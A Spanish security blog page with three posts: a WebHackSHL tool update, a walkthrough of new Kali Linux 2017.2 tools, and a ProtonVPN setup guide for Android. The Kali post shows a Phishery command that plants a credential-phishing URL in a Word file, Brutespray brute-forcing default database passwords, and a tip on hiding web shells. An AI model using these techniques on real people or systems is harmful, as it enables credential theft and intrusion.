Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

Visitas al blog!

Ayúdanos a seguir.

Páginas Amigas

viernes, 29 de septiembre de 2017

WebHackSHL 2.0 con soporte para Server Side Template Injection.


WebHackSHL, nuestra herramienta de hacking web, la cual está diseñada para ser rápida, eficiente, de fácil uso y estar actualizada, ahora tiene soporte para realizar auditorías de seguridad, búsqueda de fallos y explotación de la vulnerabilidad Server Side Template Injection, la cual explicamos en un post anterior; además de eso también fueron modificadas y optimizadas varias líneas de código, corregidos varios fallos y actualizada a su versión 2.0-Estable. Si deseas conocer más acerca de esta herramienta desarrollada por Security Hack Labs puedes leer aquí. La herramienta es de código abierto y pueden descargarla desde https://github.com/sechacklabs/webhackshl, esta herramienta trabaja en sistemas basados en Debian cómo Kali Linux y tambien basados en ArchLinux cómo BlackArch.

Imágenes de la herramienta.




Si tienen peticiones y sugerencias para añadir nuevas funciones a la herramienta, pueden hacernosla saber mediante Github o bien en nuestra sala de Riot https://riot.im/app/#/room/#sechacklabs:matrix.org.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot (Para charlar con nosotros online).


martes, 26 de septiembre de 2017

Kali Linux 2017.2: La reciente versión de Kali Linux, sus nuevas herramientas, funciones y uso.


Kali Linux es una distribución especialmente diseñada para pruebas de pentesting en todos los ámbitos, debido a su gran calidad, número de herramientas y eficiencia, es la distribución de hacking más conocida a nivel mundial. Este pasado 20 de septiembre Kali Linux lanzó su ultima versión, Kali Linux 2017.2 la cual incluye un gran número significativo de cambios. A raiz del lanzamiento han salido a la luz cientos de publicaciones pero todas muy superficiales y poco útiles a decir verdad, más allá de algo meramente informativo no dicen mucho más. Nosotros nos enfocaremos en explicar sus nuevas herramientas, uso y sus funciones a detalle para que sean comprensibles. La versión mencionada puede ser descargada desde aquí, si ya tienes Kali Linux instalado solamente debes ejecutar los siguientes comandos:

apt update && apt upgrade && apt full-upgrade

A continuación mencionaremos sus nuevas herramientas:

1. hURL (Hexadecimal & URL encoder/decoder): Es un script sencillo, ligero y que cumple con todos los requisitos al momento de usarlo. Cómo su nombre lo indica sirve para codificar/decodificar URL's en diferentes tipos de formatos o hash. Las opciones disponible las podemos ver con el comando hurl --help, también podemos ejecutarlo a modo de una especie de "GUI" mediante el comando hurl -M.


[shl@SecHackLabs ~]$ hurl --help
.::[ hURL - hexadecimal & URL (en/de)coder ]::.
v2.1 @COPYLEFT  ->  fnord0 <at> riseup <dot> net

  USAGE: /usr/bin/hurl [ -flag|--flag ] [ -f <file1>,<file2> ] [ string ]

  COMMAND LINE ARGUMENTS
   -M|--menu    => Menu-driven GUI         ;  /usr/bin/hurl -M
   -U|--URL    => URL encode             ;  /usr/bin/hurl -U "hello world"
   -u|--url    => uRL decode             ;  /usr/bin/hurl -u "hello%20world"
   -D|--DURL    => Double URL encode         ;  /usr/bin/hurl -D "hello world"
   -d|--durl    => double URL decode         ;  /usr/bin/hurl -d "hello%2520world"
   -B|--BASE64    => Base64 encode         ;  /usr/bin/hurl -B "hello world"
   -b|--base64    => base64 decode         ;  /usr/bin/hurl -b "aGVsbG8gd29ybGQ="
   -H|--HTML    => HTML encode             ;  /usr/bin/hurl -H "<hello world>"
   -h|--html    => hTML decode             ;  /usr/bin/hurl -h "&lt;hello world&gt;"
   -X|--HEX    => ascii ->  heX         ;  /usr/bin/hurl -X "hello world"
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
   -x|--hex    => hex   ->  ascii         ;  /usr/bin/hurl -x "68656c6c6f20776f726c64"
   -I|--INT    => Int   ->  hex         ;  /usr/bin/hurl -I "10"
   -i|--int    => hex   ->  int         ;  /usr/bin/hurl -i "0xa"
   -n|--nint    => -int  ->  hex         ;  /usr/bin/hurl -n -- -77
   -N|--NHEX    => -hex  ->  iNt         ;  /usr/bin/hurl -N 0xffffffb3
   -T|--INTB    => inT   ->  bin         ;  /usr/bin/hurl -T 30
   -t|--bint    => bin   ->  int         ;  /usr/bin/hurl -t 1010
   -F|--FLOATH    => Float ->  hex         ;  /usr/bin/hurl -F 3.33
   -l|--hfloat    => hex   ->  float         ;  /usr/bin/hurl -l 0x40551ed8
   -o|--octh    => octal ->  hex         ;  /usr/bin/hurl -o 35
   -O|--HOCT    => hex   ->  Octal         ;  /usr/bin/hurl -O 0x12
   -0|--binh    => bin   ->  hex         ;  /usr/bin/hurl -0 1100011
   -1|--hexb    => hex   ->  bin         ;  /usr/bin/hurl -1 0x63
   -2|--SHA1    => SHA1 checksum         ;  /usr/bin/hurl -2 "hello world"
   -3|--SHA224    => SHA224 checksum         ;  /usr/bin/hurl -3 "hello world"
   -4|--SHA256    => SHA256 checksum         ;  /usr/bin/hurl -4 "hello world"
   -5|--SHA384    => SHA384 checksum         ;  /usr/bin/hurl -5 "hello world"
   -6|--SHA512    => SHA512 checksum         ;  /usr/bin/hurl -6 "hello world"
   -7|--ROT13    => ROT13 encode             ;  /usr/bin/hurl -7 "hello world"
   -8|--rot13    => ROT13 decode             ;  /usr/bin/hurl -8 "uryyb jbeyq"
   -9|--stack    => push string 2 stack (corelan) ;  /usr/bin/hurl -9 "hello world"
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
    --ansiC :: output in C format            ; 0x00, 0x01, 0x02, 0x03 ...
   -m|--md5    => md5 digest             ;  /usr/bin/hurl -m "hello world"
   -e|--net    => int -> hex (net-byte order)   ;  /usr/bin/hurl -e 4444
   -E|--NET    => hex (nEt-byte order) ->  int  ;  /usr/bin/hurl -E 5c11
   -w|--wbin    => hex [file] -> binary [file]     ;  /usr/bin/hurl -w -f <INfile> <OUTfile>
   -r|--rbin    => binary [file] -> hex (corelan);  /usr/bin/hurl -r -f /tmp/msgbox.bin
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
    --ansiC :: output in C format            ; 0x00, 0x01, 0x02, 0x03 ...

   --color|--nocolor    => enable/disable colored output [default is ENABLED]
   --corelan        => display corelan reference
   --help        => displays help
   --man        => displays extended help with examples
   --version        => displays version information

   -s                => suppress (display result only)
   -f|--file <file1>,<file2>    => use file(s) as input
   [string]            => string as input

 

[shl@SecHackLabs ~]$ hurl -M
    [========================================================]
    [          hURL - v2.1 by fnord0 - @COPYLEFT             ]
    [========================================================]

 ##     Command            Example Input        Example Output
 ---    ----------------    -------------        --------------
  1)    URL encode        hello world        hello%20world
  2)    URL decode        hello%20world        hello world
  3)    Double URL encode    hello world        hello%2520world
  4)    Double URL decode    hello%2520world        hello world
  5)    Base64 encode        hello world        aGVsbG8gd29ybGQ=
  6)    Base64 decode        aGVsbG8gd29ybGQ=    hello world
  7)    HTML encode        <hello world>        &lt;hello world&gt;
  8)    HTML decode        &lt;hello world&gt;    hello world
  9)    RAW/ascii -> HEX    hello world        68656c6c6f20776f726c64
 10)    HEX   ->  RAW/ascii    68656c6c6f20776f726c64    hello world
 11)    INT   ->  HEX        10            0xa
 12)    HEX   ->  INT        0xa            10
 13)    -INT  ->  HEX        -77            FFFFFFFFFFFFFFB3
 14)    -HEX  ->  INT        FFFFFFB3        -77
 15)    INT   ->  BIN        30            00011110
 16)    BIN   ->  INT        1010            10
 17)    FLOAT ->  HEX        3.33            0xb81e5540
 18)    HEX   ->  FLOAT        0x40551ed8        1079320280.000000
 19)    OCTAL ->  HEX        35            0x1d
 20)    HEX   ->  octal        0x1d            35
 21)    BIN   ->  HEX        1100011            0x63
 22)    HEX   ->  BIN        63            1100011
 23)    SHA1 checksum        hello world        2aae6c35c94fcfb415dbe95f408b9ce9...
 24)    SHA224 checksum        hello world        2f05477fc24bb4faefd86517156dafde...
 25)    SHA256 checksum        hello world        b94d27b9934d3e08a52e52d7da7dabfa...
 26)    SHA384 checksum        hello world        fdbd8e75a67f29f701a4e040385e2e23...
 27)    SHA512 checksum        hello world        309ecc489c12d6eb4cc40f50c902f2b4...
 28)    ROT13 encode        hello world        uryyb jbeyq
 29)    ROT13 decode        uryyb jbeyq        hello world
 30)    MD5 digest        hello world        5eb63bbbe01eeed093cb22bb8f5acdc3

 ##     Commands useful for shellcode creation     Input           Output
 ---    --------------------------------------     -----           ------
 31)    push string 2 stack (corelanc0d3r)     hello world   ASM code to push string to stack
 32)    BINARY [infile] -> HEX (corelanc0d3r)     BINARY FILE   HEX to screen + counts NULL bytes
 33)    HEX [infile] -> BINARY [outfile]     HEX FILE      BINARY FILE
 34)    INT -> HEX (network-byte order)         4444           5c11
 35)    HEX (network-byte order) -> INT         5c11           4444

 99)    Exit hURL

hURL> 5
hURL:Base64encode> string or file? :: [string] 
hURL:Base64encode:string> http://securityhacklabs.blogspot.com

Original       :: http://securityhacklabs.blogspot.com
base64 ENcoded :: aHR0cDovL3NlY3VyaXR5aGFja2xhYnMuYmxvZ3Nwb3QuY29t

Press ENTER to continue...

 
Es una herramienta a la que podemos además darle otros usos como codificar archivos también para después darles otro uso (payloads codificados o simplemente ofuscar el código para que no sea visible a todo el mundo cuando querramos subir una shell a un servidor, son ejemplos).

[shl@SecHackLabs ~]$ echo "https://securityhacklabs.blogspot.com" > test
[shl@SecHackLabs ~]$ hurl -X -f test

Original file :: test
Hex ENcoded   :: 68747470733a2f2f73656375726974796861636b6c6162732e626c6f6773706f742e636f6d
File byte count: 37 bytes
[shl@SecHackLabs ~]$ hurl -X --esc -f test

Original file :: test
Hex ENcoded   :: "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x65\x63\x75\x72\x69\x74\x79\x68\x61\x63\x6b\x6c\x61\x62\x73\x2e\x62\x6c\x6f\x67\x73\x70\x6f\x74\x2e\x63\x6f\x6d"
File byte count: 37 bytes
[shl@SecHackLabs ~]$ 

2. Phishery: Es un servidor HTTP SSL simple con el propósito principal de robar credenciales por medio de phishing mediante la autenticación básica en sistemas windows. Phishery también proporciona la capacidad de inyectar fácilmente URL's maliciosas en documentos .docx de Word.

El poder de phishery se demuestra mejor cambiando la plantilla de un documento de Word en una URL de phishery. Esto hace que Microsoft Word haga una solicitud a la dirección URL inyectada, lo que resulta en un cuadro de diálogo de autenticación que se muestra al usuario final. La posibilidad de inyectar cualquier archivo .docx con una URL se puede hacer de la siguiente manera:


[shl@SecHackLabs ~]$ phishery -u https://securityhacklabs.blogspot.com -i ~/documento.docx -o ~/documentoinfectado.docx
[+] Opening Word document: /home/shl/documento.docx
[+] Setting Word document template to: https://securityhacklabs.blogspot.com
[+] Saving injected Word document to: /home/shl/documentoinfectado.docx
[*] Injected Word document has been saved!
[shl@SecHackLabs ~]$ 

Si la injección ha sido exitosa, cuando el usuario final abra el archivo .docx se le presentará una ventana cómo la que aparece a continuación.


Nota: Es importante cambiar la URL a la que deseamos que nuestra víctima envíe sus credenciales, es decir, colocar en el parámetro -u la dirección IP y el puerto generado al ejecutar cómo root el comando phishery.


[shl@SecHackLabs ~]$ sudo phishery 

[sudo] password for shl: 

[+] Credential store initialized at: credentials.json

[+] Starting HTTPS Auth Server on: 0.0.0.0:443

Las credenciales robadas se guardarán en el fichero credentials.json.

3. SSH-Audit: Una herramienta diseñada para auditar servicios SSH en servidores la cual puede detectar tipos de encriptación, sistemas operativos, versiones usadas, recomendar posibles exploits para usar en cada versión del software ejecutado en el objetivo, soporta los protocolos SSH1 y SSH2 y recomienda algoritmos de acuerdo al software que sea reconocido en el objetivo.

[shl@SecHackLabs ~]$ ssh-audit 

# ssh-audit.py v1.7.0, moo@arthepsy.eu



usage: ssh-audit.py [-1246pbnvl] <host>



   -h,  --help             print this help

   -1,  --ssh1             force ssh version 1 only

   -2,  --ssh2             force ssh version 2 only

   -4,  --ipv4             enable IPv4 (order of precedence)

   -6,  --ipv6             enable IPv6 (order of precedence)

   -p,  --port=<port>      port to connect

   -b,  --batch            batch output

   -n,  --no-colors        disable colors

   -v,  --verbose          verbose output

   -l,  --level=<level>    minimum output level (info|warn|fail)

Para usarlo necesitamos un servidor corriendo SSH, tomamos cómo ejemplo Github. El uso básico es sencillo: ssh-audit $servidor.

[shl@SecHackLabs ~]$ ssh-audit github.com
# general
(gen) banner: SSH-2.0-libssh_0.7.0
(gen) compatibility: OpenSSH 6.5-6.6, Dropbear SSH 2013.62+ (some functionality from 0.52)
(gen) compression: enabled (zlib, zlib@openssh.com)

# key exchange algorithms
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)
                                            `- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
(kex) diffie-hellman-group1-sha1            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled (in client) since OpenSSH 7.0, logjam attack
                                            `- [warn] using small 1024-bit modulus
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28

# host-key algorithms
(key) ssh-dss                               -- [fail] removed (in server) and disabled (in client) since OpenSSH 7.0, weak algorithm
                                            `- [warn] using small 1024-bit modulus
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
(key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28

# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9.
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes256-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47
(enc) aes192-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0
(enc) aes128-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
(enc) blowfish-cbc                          -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled since Dropbear SSH 0.53
                                            `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
                                            `- [warn] using weak cipher mode
                                            `- [warn] using small 64-bit block size
                                            `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28

# message authentication code algorithms
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 6.5)
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -diffie-hellman-group1-sha1           -- kex algorithm to remove 
(rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove 
(rec) -ssh-dss                              -- key algorithm to remove 
(rec) +ssh-ed25519                          -- key algorithm to append 
(rec) -aes192-cbc                           -- enc algorithm to remove 
(rec) -aes128-cbc                           -- enc algorithm to remove 
(rec) -blowfish-cbc                         -- enc algorithm to remove 
(rec) -aes256-cbc                           -- enc algorithm to remove 
(rec) +aes128-gcm@openssh.com               -- enc algorithm to append 
(rec) +aes256-gcm@openssh.com               -- enc algorithm to append 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) +hmac-sha2-256-etm@openssh.com        -- mac algorithm to append 
(rec) +hmac-sha2-512-etm@openssh.com        -- mac algorithm to append 
(rec) +umac-128-etm@openssh.com             -- mac algorithm to append 

Esta herramienta es bastante útil si queremos explotar fallos SSH en versiones antiguas de software instalado, si queremos una información más detallada basta con ejecutar: ssh-audit -l info $servidor.

4. APT2 (Automated Penetration Tool): APT2, es una herramienta diseñada para realizar diferentes tipos de escaneos utilizando Nmap o bien, importar resultados generados por Nexpose, Nessus o Nmap.Los resultados y reportes son generados en formato HTML para que sean más comprensibles al usuario final.

APT2 ha sido probado hasta el nomento en sistemas GNU/Linux solamente, para que se ejecute su módulo principal necesitamos tener instalada la librería python2-nmap. Si deseamos un escaner más robusto y con más características necesitamos instalar las siguientes dependencias: convert, dirb, hydra, java, john, ldapsearch, msfconsole, nmap, nmblookup, phantomjs, responder, rpcclient, secretsdump.py, smbclient, snmpwalk, sslscan y xwd.

Su configuración puede ser modificada, lo que hace que sea muy sencilla y fácil de adaptar a nuestras necesidades, es archivo de configuración está en /usr/share/apt2/misc/default.cfg, o bien en el directorio /misc dentro de la instlación o descarga de APT2.

¿Que podemos realizar con APT2?

* Identificar servicios y sistemas operativos.
* Tomas capturas de pantalla de aplicaiones web, VNC, X11, etc. 
* Analizar servicios FTP y archivos compartidos.
* Lanzar ataques de fuerza bruta.
* Lanzar módulos de metasploit.
* Desencriptar hashes usando Jhon The Ripper/Hashcat.


A continuación un vídeo demostrativo sobre el uso y lo que se puede lograr con APT2.

5. BloodHunt: Es una herramienta que usa la teoría de los gráficos para identificar y revelar rutas no deseadas dentro de un entorno de Active Directory, las cuales pueden ser usadas por un atacante para obtener accesos no autorizados o bien por el administrador de un Active Directory para corregir los fallos. BloodHunt es una aplicación web JavaScript de una sola página, basada en Linkurious,compilada con  Electron y con una base de datos Neo4j la cual es conectada mediante PowerShell. Si deseas más información acerca de BloodHunt la puedes encontrar en su Wiki.


6. CrackMapExec(CME): Es una herramienta de post-explotación que ayuda a automatizar la evaluación de la seguridad en grandes redes con Active Directory. CME sigue el principio "Viviendo de la tierra", es decir, utiliza funciones y protocoloes propios de Active Directory para funcionar lo que le permite evadir la mayoría de IDS (Sistema de deteccion de intrusos)/IPS y medidas de seguridad implementadas normalmente.

Inicialmente fue diseñada para realizar ataques pero puede ser usada por auditores/administradores para analizar sus redes y corregir fallos. CME facilita
el uso de PowerSploit, una herramienta que utiliza funciones propias de PowerShell para realizar técnicas de ataque y explotación. Podemos encontrar más acerca de CME en su wiki.
 

7. Dbeaver: Es un cliente para el manejo de bases de datos que soporta los muchos tipos de bases de datos entre ellos: MySQL, PostgreSQL, MariaDB, SQLite, Oracle, DB2, SQL Server, Sybase, MS Access, Teradata, Firebird, Derby, etc. Especial para el manejo de servidores o laboratorios propios que deseemos crear para realizar pruebas de pentesting.


8. Brutespray: Brutespray es una herramienta que funciona de la siguiente manera: Realiza un escaneo con Nmap y de acuerdo a sus resultados comprueba contraseñas y usuarios por defecto en servicios encontrados usando el cracker de contraseñas Medusa. A continuación dejaré la salida por terminal de brutespray para que entiendan el funcionamiento de esta herramienta.

[shl@SecHackLabs ~]$ nmap localhost -oG test.gnmap

Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-26 23:24 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
3306/tcp open  mysql
5432/tcp open  postgresql
9050/tcp open  tor-socks

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
[shl@SecHackLabs ~]$ less test.gnmap 
[shl@SecHackLabs ~]$ sudo brutespray --file /home/shl/test.gnmap --threads 5 --hosts 5

 brutespray.py v1.5.2
 Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
 Inspired by: Leon Johnson/@sho-luv
 Credit to Medusa: JoMo-Kun / Foofus Networks <jmk@foofus.net>

Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)...  \

Brute-Forcing...     
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: password (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: admin (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: admin (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: root (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 2 complete) Password: root (4 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: password (4 of 4 complete)
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Password1 (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: toor (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: root (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password1 (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password123 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: postgres (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: postgres (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: root (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: toor (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: Password1 (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password1 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: password123 (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 2 complete) Password: postgres (1 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: postgres [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 3 complete) Password: toor (2 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: toor [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 4 complete) Password: Password1 (3 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: Password1 [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 5 complete) Password: root (4 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: root [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 6 complete) Password: password (5 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: password [SUCCESS]
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>


Recomendaciones.

1. A pesar de que Kali Linux es una distribución que tomó el modelo rolling-release, aún no se acopla en su totalidad a dicho modelo y por lo tanto las grandes actualizaciones (entre versiones) terminan con paquetes y/o tuberías rotas, lo más recomendable es que hagas un backup de tus datos y reinstales la distribución desde la ISO nueva.

2. Si aún conociendo los riesgos anteriores deseas no reinstalar, BAJO NINGÚN MOTIVO ejecutes directamente el apt update && apt-dist-upgrade, debido a que muchas de las nuevas librerías y/o paquetes dependen de otras nuevas es MUY RECOMENDABLE ejecutar el apt upgrade antes de pasar a la siguiente versión.

3. Si reinstalas Kali Linux (O cualquier otra distribución) siempre debes dejar al menos la carpeta /home/$user por fuera del disco root, es decir, en una partición aparte. De este modo evitas tener que realizar backups fuera de la unidad o tener que volver a descargar archivos.

4. Existe una distribución de Hacking que es modelo Rolling-release por naturaleza: BlackArch. ¡Anímate a probarla! Security Hack Labs la recomienda.

5. Otra opción es que utilices la reconocida y pretigiosa distribución ArchLinux cómo una distribución de hacking, aquí te enseñamos cómo hacerlo.

6. Si deseas conocer cual versión de Kali Linux estás usando luego de actualizar, basta con que escribas el comando: lsb_release -a.

Con esto finalizamos esta publicación la cual esperamos que haya sido de su agrado. Si tienen dudas, recomendaciones sobre nuevos post o cualquier mensaje, pueden dejarlo en los comentarios.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot (Para charlar con nosotros online).

También puedes dejar su donación a nuestra cuenta Paypal.

domingo, 17 de septiembre de 2017

Hackeando tu ISP: Conectándote a ProtonVPN, una VPN segura y confiable desde Android.


En el post anterior les explicamos paso a paso cómo instalar OpenVPN en todas las plataformas. El día de hoy les vamos a enseñar cómo conectarse a una VPN segura y de confianza: ProtonVPN desde el sistema operativo Android**. ProtonVPN fué creada por los mismos fundadores de ProtonMail un servicio e-mail de los más seguros y privados hasta el momento, basado en Suiza, un país que respeta de una manera muy estricta los derechos de las personas en la red. 

ProtonVPN ofrece diferentes tipos de servicio, los cuales se pueden encontrar en https://account.protonvpn.com/signup las cuales son: Free, Basic, Plus y Visionary. Nosotros recomendamos que uses uno de los servicios de pago para mayor velocidad y mayor número de países a los cuales conectarse. Luego de crear nuestra cuenta, llenando los requisitos solicitados en https://account.protonvpn.com/signup vamos a realizar los siguientes pasos:

Nota: Para asegurarnos de que todo ha funcionado, primero revisaremos cual es nuestra dirección IP actual, para compararla con la obtenida al final del post. Para eso vamos a la página whatismyipaddress y guardamos nuestro número de dirección IP.

** Cabe aclarar que para este tutorial se utilizó la aplicación OpenVPN para Android en lugar de OpenVPN Connect.

1. Ingresamos a nuestra cuenta aquí.

2. Vamos a la sección "Downloads", seleccionamos Linux y TCP respectivamente. 


3. Un poco más abajo seleccionamos "Servers Configs".



4. Bajamos hasta el final y seleccionamos "Download all config servers."


 5. Una vez descargada la configuración de lo servidores, dependiendo desde cual dispositivo los hayan descargado, deben extraerlos en su dispositivo Android, en una carpeta llamada VPN opcionalmente.

6. Una vez finalizada la extracción, procedemos a configurar OpenVPN para Android. Abrimos la aplicación y seleccionamos el ícono de la parte derecha superior que significa "Importar".


7. Se abrirá el administrador de archivos, buscamos la carpeta VPN que hemos creado y abrimos el archivo de configuración del servidor al que querramos conectarnos.


8. Una vez seleccionada la configuración, se abrirá un diálogo que nos permite elegir el nombre que querramos asignarle a ese perfil, en la parte inferior izquierda seleccionamos "Guardar" en el ícono que aparece.

9. Una vez guardado, aparecerá nuestro perfil creado. Seleccionamos el perfil y se nos abrirá el recuadro de autenticación de la VPN, los cuales los encontramos en nuestra cuenta, en la sección "Account - OpenVPN Username".



Tip: Inicialmente el usuario y contraseña será una combinación de letras y números asignados por el servidor de ProtonVPN, pueden personalizarlos en las opciones "Change Username" & "Change Password".

10. Una vez ingresadas las credenciales, damos en "Aceptar" y allí iniciará nuestro proceso de conexión al servidor VPN.


11. Si todo ha salido bien, al final aparecerá una línea que dice "Initialization Sequence Completed".


